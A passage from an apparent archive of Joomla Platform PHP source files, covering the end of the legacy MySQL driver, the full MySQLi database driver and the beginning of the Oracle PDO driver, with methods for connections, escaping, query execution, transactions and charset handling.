* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
mysql_free_result($cursor ? $cursor : $this->cursor);
}
/**
* Internal function to check if profiling is available
*
* @return boolean
*
* @since 3.1.3
*/
private function hasProfiling()
{
try
{
$res = mysql_query("SHOW VARIABLES LIKE
'have_profiling'", $this->connection);
$row = mysql_fetch_assoc($res);
return isset($row);
}
catch (Exception $e)
{
return false;
}
}
/**
* Does the database server claim to have support for UTF-8 Multibyte
(utf8mb4) collation?
*
* libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL
server). mysqlnd supports utf8mb4 since 5.0.9.
*
* @return boolean
*
* @since CMS 3.5.0
*/
private function serverClaimsUtf8mb4Support()
{
$client_version = mysql_get_client_info();
$server_version = $this->getVersion();
if (version_compare($server_version, '5.5.3',
'<'))
{
return false;
}
else
{
if (strpos($client_version, 'mysqlnd') !== false)
{
$client_version = preg_replace('/^\D+([\d.]+).*/',
'$1', $client_version);
return version_compare($client_version, '5.0.9',
'>=');
}
else
{
return version_compare($client_version, '5.5.3',
'>=');
}
}
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) mysql_errno($this->connection);
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errorMessage = (string) mysql_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
}
database/driver/mysqli.php000064400000060510151171674070011645
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* MySQLi database driver
*
* @link https://www.php.net/manual/en/book.mysqli.php
* @since 3.0.0
*/
class JDatabaseDriverMysqli extends JDatabaseDriver
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'mysqli';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'mysql';
/**
* @var mysqli The database connection resource.
* @since 1.7.0
*/
protected $connection;
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.1
*/
protected $nameQuote = '`';
/**
* The null or zero representation of a timestamp for the database driver.
This should be
* defined in child classes to hold the appropriate value for the engine.
*
* @var string
* @since 3.0.1
*/
protected $nullDate = '0000-00-00 00:00:00';
/**
* @var string The minimum supported database version.
* @since 3.0.1
*/
protected static $dbMinimum = '5.0.4';
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
// Get some basic values from the options.
$options['host'] = (isset($options['host'])) ?
$options['host'] : 'localhost';
$options['user'] = (isset($options['user'])) ?
$options['user'] : '';
$options['password'] = (isset($options['password']))
? $options['password'] : '';
$options['database'] = (isset($options['database']))
? $options['database'] : '';
$options['select'] = (isset($options['select'])) ?
(bool) $options['select'] : true;
$options['port'] = (isset($options['port'])) ?
(int) $options['port'] : null;
$options['socket'] = (isset($options['socket'])) ?
$options['socket'] : null;
// Finalize initialisation.
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
/*
* Unlike mysql_connect(), mysqli_connect() takes the port and socket as
separate arguments. Therefore, we
* have to extract them from the host string.
*/
$port = isset($this->options['port']) ?
$this->options['port'] : 3306;
$regex =
'/^(?P<host>((25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?))(:(?P<port>.+))?$/';
if (preg_match($regex, $this->options['host'], $matches))
{
// It's an IPv4 address with or without port
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif
(preg_match('/^(?P<host>\[.*\])(:(?P<port>.+))?$/',
$this->options['host'], $matches))
{
// We assume square-bracketed IPv6 address with or without port, e.g.
[fe80:102::2%eth1]:3306
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif
(preg_match('/^(?P<host>(\w+:\/{2,3})?[a-z0-9\.\-]+)(:(?P<port>[^:]+))?$/i',
$this->options['host'], $matches))
{
// Named host (e.g example.com or localhost) with or without port
$this->options['host'] = $matches['host'];
if (!empty($matches['port']))
{
$port = $matches['port'];
}
}
elseif (preg_match('/^:(?P<port>[^:]+)$/',
$this->options['host'], $matches))
{
// Empty host, just port, e.g. ':3306'
$this->options['host'] = 'localhost';
$port = $matches['port'];
}
// ... else we assume normal (naked) IPv6 address, so host and port stay
as they are or default
// Get the port number or socket name
if (is_numeric($port))
{
$this->options['port'] = (int) $port;
}
else
{
$this->options['socket'] = $port;
}
// Make sure the MySQLi extension for PHP is installed and enabled.
if (!self::isSupported())
{
throw new JDatabaseExceptionUnsupported('The MySQLi extension for
PHP is not installed or enabled.');
}
$this->connection = @mysqli_connect(
$this->options['host'],
$this->options['user'],
$this->options['password'], null,
$this->options['port'], $this->options['socket']
);
// Attempt to connect to the server.
if (!$this->connection)
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
server.');
}
// Set sql_mode to non_strict mode
mysqli_query($this->connection, "SET @@SESSION.sql_mode =
'';");
// If auto-select is enabled select the given database.
if ($this->options['select'] &&
!empty($this->options['database']))
{
$this->select($this->options['database']);
}
// Pre-populate the UTF-8 Multibyte compatibility flag based on server
version
$this->utf8mb4 = $this->serverClaimsUtf8mb4Support();
// Set the character set (needed for MySQL 4.1.2+).
$this->utf = $this->setUtf();
// Disable query cache and turn profiling ON in debug mode.
if ($this->debug)
{
mysqli_query($this->connection, 'SET query_cache_type =
0;');
if ($this->hasProfiling())
{
mysqli_query($this->connection, 'SET profiling_history_size =
100, profiling = 1;');
}
}
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
if ($this->connection instanceof mysqli &&
$this->connection->stat() !== false)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
/**
* Method to escape a string for usage in an SQL statement.
*
* @param string $text The string to be escaped.
* @param boolean $extra Optional parameter to provide extra escaping.
*
* @return string The escaped string.
*
* @since 3.0.0
*/
public function escape($text, $extra = false)
{
if (is_int($text))
{
return $text;
}
if (is_float($text))
{
// Force the dot as a decimal point.
return str_replace(',', '.', $text);
}
$this->connect();
$result = mysqli_real_escape_string($this->getConnection(), $text);
if ($extra)
{
$result = addcslashes($result, '%_');
}
return $result;
}
/**
* Test to see if the MySQL connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return function_exists('mysqli_connect');
}
/**
* Determines if the connection to the server is active.
*
* @return boolean True if connected to the database engine.
*
* @since 3.0.0
*/
public function connected()
{
if (is_object($this->connection))
{
return mysqli_ping($this->connection);
}
return false;
}
/**
* Drops a table from the database.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true);
$this->setQuery('DROP TABLE ' . ($ifExists ? 'IF EXISTS
' : '') . $query->quoteName($tableName));
$this->execute();
return $this;
}
/**
* Get the number of affected rows by the last INSERT, UPDATE, REPLACE or
DELETE for the previous executed SQL statement.
*
* @return integer The number of affected rows.
*
* @since 3.0.0
*/
public function getAffectedRows()
{
$this->connect();
return mysqli_affected_rows($this->connection);
}
/**
* Method to get the database collation.
*
* @return mixed The collation in use by the database (string) or
boolean false if not supported.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_database"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
$this->connect();
// Attempt to get the database collation by accessing the server system
variable.
$this->setQuery('SHOW VARIABLES LIKE
"collation_connection"');
$result = $this->loadObject();
if (property_exists($result, 'Value'))
{
return $result->Value;
}
else
{
return false;
}
}
/**
* Get the number of returned rows for the previous executed SQL
statement.
* This command is only valid for statements like SELECT or SHOW that
return an actual result set.
* To retrieve the number of rows affected by an INSERT, UPDATE, REPLACE
or DELETE query, use getAffectedRows().
*
* @param resource $cursor An optional database cursor resource to
extract the row count from.
*
* @return integer The number of returned rows.
*
* @since 3.0.0
*/
public function getNumRows($cursor = null)
{
return mysqli_num_rows($cursor ? $cursor : $this->cursor);
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
$result = array();
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
// Set the query to get the table CREATE statement.
$this->setQuery('SHOW CREATE table ' .
$this->quoteName($this->escape($table)));
$row = $this->loadRow();
// Populate the result array based on the create statements.
$result[$table] = $row[1];
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$result = array();
// Set the query to get the table fields statement.
$this->setQuery('SHOW FULL COLUMNS FROM ' .
$this->quoteName($this->escape($table)));
$fields = $this->loadObjectList();
// If we only want the type as the value add just that to the list.
if ($typeOnly)
{
foreach ($fields as $field)
{
$result[$field->Field] = preg_replace('/[(0-9)]/',
'', $field->Type);
}
}
// If we want the whole field data object add that to the list.
else
{
foreach ($fields as $field)
{
$result[$field->Field] = $field;
}
}
return $result;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
// Get the details columns information.
$this->setQuery('SHOW KEYS FROM ' .
$this->quoteName($table));
$keys = $this->loadObjectList();
return $keys;
}
/**
* Method to get an array of all tables in the database.
*
* @return array An array of all the tables in the database.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function getTableList()
{
$this->connect();
// Set the query to get the tables statement.
$this->setQuery('SHOW TABLES');
$tables = $this->loadColumn();
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
return mysqli_get_server_info($this->connection);
}
/**
* Method to get the auto-incremented value from the last INSERT
statement.
*
* @return mixed The value of the auto-increment field from the last
inserted row.
* If the value is greater than maximal int value, it will
return a string.
*
* @since 3.0.0
*/
public function insertid()
{
$this->connect();
return mysqli_insert_id($this->connection);
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLES ' . $this->quoteName($table)
. ' WRITE')->execute();
return $this;
}
/**
* Execute the SQL statement.
*
* @return mixed A database cursor resource on success, boolean false on
failure.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function execute()
{
$this->connect();
// Take a local copy so that we don't modify the original query and
cause issues later
$query = $this->replacePrefix((string) $this->sql);
if (!($this->sql instanceof JDatabaseQuery) &&
($this->limit > 0 || $this->offset > 0))
{
$query .= ' LIMIT ' . $this->offset . ', ' .
$this->limit;
}
if (!is_object($this->connection))
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
// Increment the query counter.
$this->count++;
// Reset the error values.
$this->errorNum = 0;
$this->errorMsg = '';
$memoryBefore = null;
// If debugging is enabled then let's log the query.
if ($this->debug)
{
// Add the query to the object queue.
$this->log[] = $query;
JLog::add($query, JLog::DEBUG, 'databasequery');
$this->timings[] = microtime(true);
if (is_object($this->cursor))
{
// Avoid warning if result already freed by third-party library
@$this->freeResult();
}
$memoryBefore = memory_get_usage();
}
// Execute the query. Error suppression is used here to prevent
warnings/notices that the connection has been lost.
$this->cursor = @mysqli_query($this->connection, $query);
if ($this->debug)
{
$this->timings[] = microtime(true);
if (defined('DEBUG_BACKTRACE_IGNORE_ARGS'))
{
$this->callStacks[] = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS);
}
else
{
$this->callStacks[] = debug_backtrace();
}
$this->callStacks[count($this->callStacks) -
1][0]['memory'] = array(
$memoryBefore,
memory_get_usage(),
is_object($this->cursor) ? $this->getNumRows() : null,
);
}
// If an error occurred handle it.
if (!$this->cursor)
{
// Get the error number and message before we execute any more queries.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
// Check if the server was disconnected.
if (!$this->connected())
{
try
{
// Attempt to reconnect.
$this->connection = null;
$this->connect();
}
// If connect fails, ignore that exception and throw the normal
exception.
catch (RuntimeException $e)
{
// Get the error number and message.
$this->errorNum = $this->getErrorNumber();
$this->errorMsg = $this->getErrorMessage();
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum, $e);
}
// Since we were able to reconnect, run the query again.
return $this->execute();
}
// The server was not disconnected.
else
{
JLog::add(JText::sprintf('JLIB_DATABASE_QUERY_FAILED',
$this->errorNum, $this->errorMsg), JLog::ERROR,
'database-error');
throw new JDatabaseExceptionExecuting($query, $this->errorMsg,
$this->errorNum);
}
}
return $this->cursor;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by MySQL.
* @param string $prefix Not used by MySQL.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.1
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME TABLE ' . $oldTable . ' TO
' . $newTable)->execute();
return $this;
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
if (!$database)
{
return false;
}
if (!mysqli_select_db($this->connection, $database))
{
throw new JDatabaseExceptionConnecting('Could not connect to MySQL
database.');
}
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
// If UTF is not supported return false immediately
if (!$this->utf)
{
return false;
}
// Make sure we're connected to the server
$this->connect();
// Which charset should I use, plain utf8 or multibyte utf8mb4?
$charset = $this->utf8mb4 ? 'utf8mb4' : 'utf8';
$result = @$this->connection->set_charset($charset);
/**
* If I could not set the utf8mb4 charset then the server doesn't
support utf8mb4 despite claiming otherwise.
* This happens on old MySQL server versions (less than 5.5.3) using the
mysqlnd PHP driver. Since mysqlnd
* masks the server version and reports only its own we can not be sure
if the server actually does support
* UTF-8 Multibyte (i.e. it's MySQL 5.5.3 or later). Since the
utf8mb4 charset is undefined in this case we
* catch the error and determine that utf8mb4 is not supported!
*/
if (!$result && $this->utf8mb4)
{
$this->utf8mb4 = false;
$result = @$this->connection->set_charset('utf8');
}
return $result;
}
/**
* Method to commit a transaction.
*
* @param boolean $toSavepoint If true, commit to the last savepoint.
*
* @return void
*
* @since 3.0.1
* @throws RuntimeException
*/
public function transactionCommit($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('COMMIT')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$this->transactionDepth--;
}
/**
* Method to roll back a transaction.
*
* @param boolean $toSavepoint If true, rollback to the last
savepoint.
*
* @return void
*
* @since 3.0.1
* @throws RuntimeException
*/
public function transactionRollback($toSavepoint = false)
{
$this->connect();
if (!$toSavepoint || $this->transactionDepth <= 1)
{
if ($this->setQuery('ROLLBACK')->execute())
{
$this->transactionDepth = 0;
}
return;
}
$savepoint = 'SP_' . ($this->transactionDepth - 1);
$this->setQuery('ROLLBACK TO SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth--;
}
}
/**
* Method to initialize a transaction.
*
* @param boolean $asSavepoint If true and a transaction is already
active, a savepoint will be created.
*
* @return void
*
* @since 3.0.1
* @throws RuntimeException
*/
public function transactionStart($asSavepoint = false)
{
$this->connect();
if (!$asSavepoint || !$this->transactionDepth)
{
if ($this->setQuery('START TRANSACTION')->execute())
{
$this->transactionDepth = 1;
}
return;
}
$savepoint = 'SP_' . $this->transactionDepth;
$this->setQuery('SAVEPOINT ' .
$this->quoteName($savepoint));
if ($this->execute())
{
$this->transactionDepth++;
}
}
/**
* Method to fetch a row from the result set cursor as an array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchArray($cursor = null)
{
return mysqli_fetch_row($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an associative
array.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchAssoc($cursor = null)
{
return mysqli_fetch_assoc($cursor ? $cursor : $this->cursor);
}
/**
* Method to fetch a row from the result set cursor as an object.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
* @param string $class The class name to use for the returned row
object.
*
* @return mixed Either the next row from the result set or false if
there are no more rows.
*
* @since 3.0.0
*/
protected function fetchObject($cursor = null, $class =
'stdClass')
{
return mysqli_fetch_object($cursor ? $cursor : $this->cursor, $class);
}
/**
* Method to free up the memory used for the result set.
*
* @param mixed $cursor The optional result set cursor from which to
fetch the row.
*
* @return void
*
* @since 3.0.0
*/
protected function freeResult($cursor = null)
{
mysqli_free_result($cursor ? $cursor : $this->cursor);
if ((! $cursor) || ($cursor === $this->cursor))
{
$this->cursor = null;
}
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverMysqli Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('UNLOCK TABLES')->execute();
return $this;
}
/**
* Internal function to check if profiling is available
*
* @return boolean
*
* @since 3.1.3
*/
private function hasProfiling()
{
try
{
$res = mysqli_query($this->connection, "SHOW VARIABLES LIKE
'have_profiling'");
$row = mysqli_fetch_assoc($res);
return isset($row);
}
catch (Exception $e)
{
return false;
}
}
/**
* Does the database server claim to have support for UTF-8 Multibyte
(utf8mb4) collation?
*
* libmysql supports utf8mb4 since 5.5.3 (same version as the MySQL
server). mysqlnd supports utf8mb4 since 5.0.9.
*
* @return boolean
*
* @since CMS 3.5.0
*/
private function serverClaimsUtf8mb4Support()
{
$client_version = mysqli_get_client_info();
$server_version = $this->getVersion();
if (version_compare($server_version, '5.5.3',
'<'))
{
return false;
}
else
{
if (strpos($client_version, 'mysqlnd') !== false)
{
$client_version = preg_replace('/^\D+([\d.]+).*/',
'$1', $client_version);
return version_compare($client_version, '5.0.9',
'>=');
}
else
{
return version_compare($client_version, '5.5.3',
'>=');
}
}
}
/**
* Return the actual SQL Error number
*
* @return integer The SQL Error number
*
* @since 3.4.6
*/
protected function getErrorNumber()
{
return (int) mysqli_errno($this->connection);
}
/**
* Return the actual SQL Error message
*
* @return string The SQL Error message
*
* @since 3.4.6
*/
protected function getErrorMessage()
{
$errorMessage = (string) mysqli_error($this->connection);
// Replace the Databaseprefix with `#__` if we are not in Debug
if (!$this->debug)
{
$errorMessage = str_replace($this->tablePrefix, '#__',
$errorMessage);
}
return $errorMessage;
}
}
database/driver/oracle.php000064400000036625151171674070011606
0ustar00<?php
/**
* @package Joomla.Platform
* @subpackage Database
*
* @copyright Copyright (C) 2005 - 2020 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE
*/
defined('JPATH_PLATFORM') or die;
/**
* Oracle database driver
*
* @link https://www.php.net/pdo
* @since 3.0.0
*/
class JDatabaseDriverOracle extends JDatabaseDriverPdo
{
/**
* The name of the database driver.
*
* @var string
* @since 3.0.0
*/
public $name = 'oracle';
/**
* The type of the database server family supported by this driver.
*
* @var string
* @since CMS 3.5.0
*/
public $serverType = 'oracle';
/**
* The character(s) used to quote SQL statement names such as table names
or field names,
* etc. The child classes should define this as necessary. If a single
character string the
* same character is used for both sides of the quoted name, else the
first character will be
* used for the opening quote and the second for the closing quote.
*
* @var string
* @since 3.0.0
*/
protected $nameQuote = '"';
/**
* Returns the current dateformat
*
* @var string
* @since 3.0.0
*/
protected $dateformat;
/**
* Returns the current character set
*
* @var string
* @since 3.0.0
*/
protected $charset;
/**
* Constructor.
*
* @param array $options List of options used to configure the
connection
*
* @since 3.0.0
*/
public function __construct($options)
{
$options['driver'] = 'oci';
$options['charset'] = (isset($options['charset']))
? $options['charset'] : 'AL32UTF8';
$options['dateformat'] =
(isset($options['dateformat'])) ?
$options['dateformat'] : 'RRRR-MM-DD HH24:MI:SS';
$this->charset = $options['charset'];
$this->dateformat = $options['dateformat'];
// Finalize initialisation
parent::__construct($options);
}
/**
* Connects to the database if needed.
*
* @return void Returns void if the database connected successfully.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function connect()
{
if ($this->connection)
{
return;
}
parent::connect();
if (isset($this->options['schema']))
{
$this->setQuery('ALTER SESSION SET CURRENT_SCHEMA = ' .
$this->quoteName($this->options['schema']))->execute();
}
$this->setDateFormat($this->dateformat);
}
/**
* Disconnects the database.
*
* @return void
*
* @since 3.0.0
*/
public function disconnect()
{
// Close the connection.
$this->freeResult();
$this->connection = null;
}
/**
* Drops a table from the database.
*
* Note: The IF EXISTS flag is unused in the Oracle driver.
*
* @param string $tableName The name of the database table to drop.
* @param boolean $ifExists Optionally specify that the table must
exist before it is dropped.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
*/
public function dropTable($tableName, $ifExists = true)
{
$this->connect();
$query = $this->getQuery(true)
->setQuery('DROP TABLE :tableName');
$query->bind(':tableName', $tableName);
$this->setQuery($query);
$this->execute();
return $this;
}
/**
* Method to get the database collation in use by sampling a text field of
a table in the database.
*
* @return mixed The collation in use by the database or boolean false
if not supported.
*
* @since 3.0.0
*/
public function getCollation()
{
return $this->charset;
}
/**
* Method to get the database connection collation, as reported by the
driver. If the connector doesn't support
* reporting this value please return an empty string.
*
* @return string
*/
public function getConnectionCollation()
{
return $this->charset;
}
/**
* Get a query to run and verify the database is operational.
*
* @return string The query to check the health of the DB.
*
* @since 3.0.1
*/
public function getConnectedQuery()
{
return 'SELECT 1 FROM dual';
}
/**
* Returns the current date format
* This method should be useful in the case that
* somebody actually wants to use a different
* date format and needs to check what the current
* one is to see if it needs to be changed.
*
* @return string The current date format
*
* @since 3.0.0
*/
public function getDateFormat()
{
return $this->dateformat;
}
/**
* Shows the table CREATE statement that creates the given tables.
*
* Note: You must have the correct privileges before this method
* will return usable results!
*
* @param mixed $tables A table name or a list of table names.
*
* @return array A list of the create SQL for the tables.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableCreate($tables)
{
$this->connect();
$result = array();
$query = $this->getQuery(true)
->select('dbms_metadata.get_ddl(:type, :tableName)')
->from('dual')
->bind(':type', 'TABLE');
// Sanitize input to an array and iterate over the list.
settype($tables, 'array');
foreach ($tables as $table)
{
$query->bind(':tableName', $table);
$this->setQuery($query);
$statement = (string) $this->loadResult();
$result[$table] = $statement;
}
return $result;
}
/**
* Retrieves field information about a given table.
*
* @param string $table The name of the database table.
* @param boolean $typeOnly True to only return field types.
*
* @return array An array of fields for the database table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableColumns($table, $typeOnly = true)
{
$this->connect();
$columns = array();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->select('*');
$query->from('ALL_TAB_COLUMNS');
$query->where('table_name = :tableName');
$prefixedTable = str_replace('#__',
strtoupper($this->tablePrefix), $table);
$query->bind(':tableName', $prefixedTable);
$this->setQuery($query);
$fields = $this->loadObjectList();
if ($typeOnly)
{
foreach ($fields as $field)
{
$columns[$field->COLUMN_NAME] = $field->DATA_TYPE;
}
}
else
{
foreach ($fields as $field)
{
$columns[$field->COLUMN_NAME] = $field;
$columns[$field->COLUMN_NAME]->Default = null;
}
}
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $columns;
}
/**
* Get the details list of keys for a table.
*
* @param string $table The name of the table.
*
* @return array An array of the column specification for the table.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableKeys($table)
{
$this->connect();
$query = $this->getQuery(true);
$fieldCasing = $this->getOption(PDO::ATTR_CASE);
$this->setOption(PDO::ATTR_CASE, PDO::CASE_UPPER);
$table = strtoupper($table);
$query->select('*')
->from('ALL_CONSTRAINTS')
->where('table_name = :tableName')
->bind(':tableName', $table);
$this->setQuery($query);
$keys = $this->loadObjectList();
$this->setOption(PDO::ATTR_CASE, $fieldCasing);
return $keys;
}
/**
* Method to get an array of all tables in the database (schema).
*
* @param string $databaseName The database (schema) name
* @param boolean $includeDatabaseName Whether to include the schema
name in the results
*
* @return array An array of all the tables in the database.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function getTableList($databaseName = null, $includeDatabaseName =
false)
{
$this->connect();
$query = $this->getQuery(true);
if ($includeDatabaseName)
{
$query->select('owner, table_name');
}
else
{
$query->select('table_name');
}
$query->from('all_tables');
if ($databaseName)
{
$query->where('owner = :database')
->bind(':database', $databaseName);
}
$query->order('table_name');
$this->setQuery($query);
if ($includeDatabaseName)
{
$tables = $this->loadAssocList();
}
else
{
$tables = $this->loadColumn();
}
return $tables;
}
/**
* Get the version of the database connector.
*
* @return string The database connector version.
*
* @since 3.0.0
*/
public function getVersion()
{
$this->connect();
$this->setQuery("select value from nls_database_parameters where
parameter = 'NLS_RDBMS_VERSION'");
return $this->loadResult();
}
/**
* Select a database for use.
*
* @param string $database The name of the database to select for use.
*
* @return boolean True if the database was successfully selected.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function select($database)
{
$this->connect();
return true;
}
/**
* Sets the Oracle Date Format for the session
* Default date format for Oracle is = DD-MON-RR
* The default date format for this driver is:
* 'RRRR-MM-DD HH24:MI:SS' since it is the format
* that matches the MySQL one used within most Joomla
* tables.
*
* @param string $dateFormat Oracle Date Format String
*
* @return boolean
*
* @since 3.0.0
*/
public function setDateFormat($dateFormat = 'DD-MON-RR')
{
$this->connect();
$this->setQuery("ALTER SESSION SET NLS_DATE_FORMAT =
'$dateFormat'");
if (!$this->execute())
{
return false;
}
$this->setQuery("ALTER SESSION SET NLS_TIMESTAMP_FORMAT =
'$dateFormat'");
if (!$this->execute())
{
return false;
}
$this->dateformat = $dateFormat;
return true;
}
/**
* Set the connection to use UTF-8 character encoding.
*
* Returns false automatically for the Oracle driver since
* you can only set the character set when the connection
* is created.
*
* @return boolean True on success.
*
* @since 3.0.0
*/
public function setUtf()
{
return false;
}
/**
* Locks a table in the database.
*
* @param string $table The name of the table to unlock.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function lockTable($table)
{
$this->setQuery('LOCK TABLE ' . $this->quoteName($table)
. ' IN EXCLUSIVE MODE')->execute();
return $this;
}
/**
* Renames a table in the database.
*
* @param string $oldTable The name of the table to be renamed
* @param string $newTable The new name for the table.
* @param string $backup Not used by Oracle.
* @param string $prefix Not used by Oracle.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function renameTable($oldTable, $newTable, $backup = null, $prefix
= null)
{
$this->setQuery('RENAME ' . $oldTable . ' TO ' .
$newTable)->execute();
return $this;
}
/**
* Unlocks tables in the database.
*
* @return JDatabaseDriverOracle Returns this object to support
chaining.
*
* @since 3.0.0
* @throws RuntimeException
*/
public function unlockTables()
{
$this->setQuery('COMMIT')->execute();
return $this;
}
/**
* Test to see if the PDO ODBC connector is available.
*
* @return boolean True on success, false otherwise.
*
* @since 3.0.0
*/
public static function isSupported()
{
return class_exists('PDO') && in_array('oci',
PDO::getAvailableDrivers());
}
/**
* This function replaces a string identifier
<var>$prefix</var> with the string held is the
* <var>tablePrefix</var> class variable.
*
* @param string $query The SQL statement to prepare.
* @param string $prefix The common table prefix.
*
* @return string The processed SQL statement.
*
* @since 1.7.0
*/
public function replacePrefix($query, $prefix = '#__')
{
$startPos = 0;
$quoteChar = "'";
$literal = '';
$query = trim($query);
$n = strlen($query);
while ($startPos < $n)
{
$ip = strpos($query, $prefix, $startPos);
if ($ip === false)
{
break;
}
$j = strpos($query, "'", $startPos);
if ($j === false)
{
$j = $n;
}
$literal .= str_replace($prefix, $this->tablePrefix, substr($query,
$startPos, $j - $startPos));
